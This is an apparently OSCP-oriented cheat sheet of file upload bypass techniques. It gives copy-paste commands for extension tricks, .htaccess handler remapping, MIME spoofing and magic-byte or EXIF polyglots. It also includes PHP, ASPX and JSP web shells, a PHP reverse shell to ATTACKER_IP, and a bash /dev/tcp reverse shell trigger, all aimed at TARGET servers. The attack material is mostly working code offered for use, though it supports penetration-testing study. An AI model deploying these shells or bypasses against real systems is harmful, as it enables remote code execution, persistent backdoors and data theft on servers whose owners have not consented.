File Upload Bypass — Techniques & Reference
What Is a File Upload Vulnerability?
A file upload vulnerability exists when a web application accepts files without properly validating type, content, or name. If you can upload executable code (PHP, ASPX, JSP) to a web-accessible location, you get Remote Code Execution (RCE).
🎯 Impact
- Remote Code Execution via web shell
- Read sensitive server files
- Pivot to internal network
- Persistent backdoor
Upload + LFI chain: Upload blocked for .php but Local File Inclusion (LFI) exists? Upload a ZIP containing the shell → trigger with zip://uploads/archive.zip%23shell.php → Local File Inclusion (LFI) > 4. zip:// wrapper — RCE via uploaded archive
📌 1) Types of Upload Filters (and How to Bypass Each)
Filter 1 — Client-Side Validation (Easiest Bypass)
JavaScript checks the file extension before sending. Bypass completely with Burp or curl.
# Intercept with Burp → change filename in the request
# Or just turn off JavaScript in the browser
# Or use curl directly, bypassing the browser entirely
curl -X POST http://TARGET/upload -F "file=@shell.php"Filter 2 — Extension Blacklist
Server rejects known “bad” extensions (.php, .php5, .phtml, etc.) but allows others.
Bypass techniques:
# Alternative PHP extensions (all execute PHP on many servers)
.php3 .php4 .php5 .php7 .php8
.phtml .phar .shtml .pht
.PHP .PhP .pHp (capitalisation)
# Apache .htaccess trick — upload this file first, then upload your shell
# .htaccess content:
AddType application/x-httpd-php .jpg
# Custom extension bypass — map .dork (or any “safe” ext) to PHP
echo 'AddType application/x-httpd-php .dork' > .htaccess
# Upload .htaccess → upload shell.dork → visit /uploads/shell.dork?cmd=id
→ Full walkthrough: 📌 1b) `.htaccess` upload bypass
# Null byte injection (older servers — PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Double extension
shell.php.jpg
shell.jpg.php
# Trailing characters
shell.php.
shell.php....
shell.php%20
📌 1b) .htaccess upload bypass
File Upload Bypass Vulnerability via .htaccess
If the app lets you upload to a web-accessible directory (often /uploads/) and Apache honors .htaccess, upload a malicious .htaccess first — it tells Apache to treat a “safe” extension as PHP.
Step 1 — create .htaccess locally
# Map .dork files to PHP handler (any custom ext works)
echo 'AddType application/x-httpd-php .dork' > .htaccess
# Other common mappings
echo 'AddType application/x-httpd-php .jpg' > .htaccess
echo 'AddType application/x-httpd-php .gif' > .htaccessStep 2 — upload order matters
- Upload
.htaccess(may need to bypass “no dotfiles” filter — try double ext, Burp rename) - Upload
shell.dork(orshell.jpg) containing PHP:
<?php system($_GET['cmd']); ?>Step 3 — trigger
curl "http://TARGET/uploads/shell.dork?cmd=id"
curl "http://TARGET/uploads/shell.dork?cmd=whoami"Requirements / gotchas
| Requirement | Notes |
|---|---|
Apache + AllowOverride | .htaccess must be processed |
| Writable upload dir | Same folder as shell |
| Extension whitelist | Upload .dork if .php blocked |
| Hidden file filter | Intercept in Burp Suite — rename field to .htaccess |
Also pairs with Filter 3 polyglot uploads when only images allowed — .htaccess makes .jpg execute as PHP.
Filter 3 — Extension Whitelist
Server only allows known “safe” extensions (.jpg, .png, .pdf). Harder to bypass — combine with one of the content tricks below.
# If you can also bypass content checks → use a polyglot
shell.jpg # Magic bytes: JPEG / Content: PHP code
shell.gif # Magic bytes: GIF89a / Content: PHP code
shell.pdf # Magic bytes: %PDF / Content: PHP code
# If the server executes based on Content-Type (not extension):
# Rename to .jpg but set a PHP execution path in .htaccess (if writable)
Filter 4 — MIME Type / Content-Type Header
Server checks the Content-Type request header. This is set by the browser but trivially faked.
# Burp — in the POST request, change:
Content-Type: application/octet-stream
# to:
Content-Type: image/jpeg
# Or with curl:
curl -X POST http://TARGET/upload \
-F "file=@shell.php;type=image/jpeg"Filter 5 — Magic Bytes Check
Server reads the first bytes of the file (not the extension or Content-Type header) to determine file type. Bypass by prepending real magic bytes to your payload.
JPEG polyglot (most common)
# Prepend JPEG magic bytes to a PHP webshell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
# Using a real image's header (most convincing):
(head -c 16 legit.jpg; cat shell.php) > shell.jpgf
# Verify it passes magic-byte checks:
file shell.jpg # Should say: JPEG image data
xxd -l 16 shell.jpg # Should start with FFD8FFE0GIF89a polyglot (also common — simpler)
(printf 'GIF89a'; cat shell.php) > shell.gif
# OR:
(echo -n "474946383961" | xxd -r -p; cat shell.php) > shell.gif
file shell.gif # GIF image dataPNG polyglot
PNG signature: 89 50 4E 47 0D 0A 1A 0A (8 bytes). Server sees image/png; PHP still executes code after the header if the file is parsed as PHP.
Method A — xxd hex header + append shell (copy/paste)
# Write PNG magic bytes only
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php.png
# Append your PHP payload (or an existing shell file)
cat shell.php >> shell.php.png
# OR append another polyglot you already built:
# cat shell.php.png >> mime_shell.php.png
# Verify — must still report PNG
file shell.php.png # PNG image data
xxd -l 8 shell.php.png # 8950 4e47 0d0a 1a0aMethod B — printf one-liner
(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.png
file shell.pngMethod C — inject PHP into a real PNG (vim / text editor)
When the app only accepts a real image, open a legit .png in vim (or similar), scroll past the header into the binary data, and insert PHP. The image stays valid enough for file to report image/png.
<?php echo "START<br/><br/>\n\n\n"; system($_GET["cmd"]); echo "\n\n\n<br/><br/>"; ?>The START / END markers make it obvious in the browser when the shell fires vs. when the server just serves the image.
file modified.png # Should still say: PNG image dataDouble extension: .php.png or .png.php — try both; depends whether the filter checks the first or last extension and how Apache/nginx maps the file.
Trigger after upload:
curl "http://TARGET/uploads/mime_shell.php.png?cmd=id"
curl "http://TARGET/uploads/mime_shell.php.png?cmd=whoami"→ Magic-byte crafting: xxd · MIME header in Burp: Burp Suite > 4) File Upload Bypass via Burp
Verify the magic bytes are correct
xxd -l 16 shell.jpg # First 16 bytes should be the image signature
file shell.jpg # Should report the image typeNote: The file will pass magic-byte checks AND still contain PHP code that executes if the server runs it through PHP. Open the file in a text editor — you’ll see garbage bytes at the top followed by your PHP shell.
Filter 6 — Full Content Inspection (Strictest)
Server validates the entire file as a valid image (e.g. uses getimagesize() in PHP or a dedicated image library). Requires a true polyglot — valid image AND valid code.
EXIF polyglot (inject PHP into JPEG EXIF metadata)
# Upload a real JPEG, then inject PHP into the Comment EXIF field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real_image.jpg -o shell.jpg
# Verify PHP is inside
exiftool shell.jpg | grep Comment
strings shell.jpg | grep '<?php'
# The file is a valid JPEG + contains PHP in metadata
file shell.jpg # Reports: JPEGCreate a proper polyglot using tool
# Install polyglot tool
pip3 install polyglot
# Or use online polyglot generators📌 2) Web Shell Payloads
PHP (most common on OSCP boxes)
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<!-- Full interactive shell (more functional) -->
<?php system($_GET['cmd']); ?>
<!-- One-liner with output -->
<?php echo `$_GET[cmd]`; ?>Save as shell.php then:
curl "http://TARGET/uploads/shell.php?cmd=id"
curl "http://TARGET/uploads/shell.php?cmd=whoami"
curl "http://TARGET/uploads/shell.php?cmd=cat+/etc/passwd"PHP reverse shell (full interactive)
<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>Or use the standard: /usr/share/webshells/php/php-reverse-shell.php (change IP/port)
ASPX (Windows / IIS)
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>curl "http://TARGET/uploads/shell.aspx?cmd=whoami"JSP (Java / Tomcat)
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Common webshell locations (Kali)
ls /usr/share/webshells/
ls /usr/share/webshells/php/
ls /usr/share/webshells/aspx/
ls /usr/share/webshells/jsp/📌 3) Finding the Upload Location
After a successful upload you need to know where the file went and how to reach it.
# Enumerate upload directories with Gobuster
gobuster dir -u http://TARGET -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,jpg,gif
# Common upload paths to check
/uploads/
/upload/
/files/
/media/
/images/
/assets/
/content/
/wp-content/uploads/ (WordPress)
/data/
/static/
# Check the HTML source of the upload page — often reveals the path
# Check the URL response after upload — may include the filename/path
# Try path traversal in filename: ../../uploads/shell.php📌 4) Full Attack Workflow
1. Find upload functionality
→ File upload form, avatar, attachment, import feature
2. Identify what filters are in place
→ Upload a .txt file → does it work?
→ Upload a .php file → error? What error?
→ Try alternative extensions (.php5, .phtml, etc.)
→ Intercept with Burp and change Content-Type
3. Craft your bypass
→ Extension bypass: try .php5 / .phtml / double ext
→ MIME bypass: change Content-Type to image/jpeg in Burp
→ Magic byte bypass: prepend JPEG/GIF/PNG bytes with xxd (or inject PHP into real PNG via vim)
→ EXIF bypass: inject PHP via exiftool -Comment
4. Upload the payload
5. Find where it was uploaded
→ Check response body / source for path
→ Gobuster the common upload dirs
6. Trigger execution
→ GET request to the file URL with ?cmd=id
→ Set up nc listener for reverse shell
📌 5) Combining Bypasses (Layered Filters)
Many apps use multiple filters. Layer your bypasses:
# Scenario: checks extension AND magic bytes AND MIME type
# 1. Rename to .jpg (extension whitelist pass)
# 2. Prepend JPEG magic bytes (magic byte check pass)
# 3. Set Content-Type: image/jpeg in Burp (MIME check pass)
# 4. Include PHP code after the magic bytes
# Build the file:
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
# In Burp — change:
# filename="shell.jpg"
# Content-Type: image/jpeg
# If server uses getimagesize() → use exiftool EXIF injection instead
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg📌 Quick OSCP Cheat Sheet (Copy/Paste)
# ─── CRAFT BYPASS FILES ────────────────────────────────────────
# JPEG magic bytes + PHP shell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
# GIF89a magic bytes + PHP shell (simpler)
(printf 'GIF89a'; cat shell.php) > shell.gif
# PNG magic bytes + PHP shell (xxd hex method)
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
# PNG one-liner
(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.png
# EXIF injection (passes getimagesize() check)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# Verify magic bytes
file shell.jpg && xxd -l 16 shell.jpg
# ─── COMMON EXTENSION ALTERNATIVES ────────────────────────────
# .php3 .php4 .php5 .php7 .phtml .phar .pht .shtml
# ─── FAKE CONTENT-TYPE (Burp) ──────────────────────────────────
# Change: Content-Type: application/octet-stream
# To: Content-Type: image/jpeg
# ─── .htaccess BYPASS (.dork ext) ─────────────────────────────
echo 'AddType application/x-httpd-php .dork' > .htaccess
echo '<?php system($_GET["cmd"]); ?>' > shell.dork
# Upload .htaccess → upload shell.dork → curl .../shell.dork?cmd=id
# ─── QUICK PHP SHELL ───────────────────────────────────────────
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# ─── FIND UPLOAD LOCATION ──────────────────────────────────────
gobuster dir -u http://TARGET -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,jpg,gif,aspx
# ─── TRIGGER THE SHELL ─────────────────────────────────────────
curl "http://TARGET/uploads/shell.php?cmd=id"
curl "http://TARGET/uploads/shell.php?cmd=whoami"
# Reverse shell trigger:
curl "http://TARGET/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261"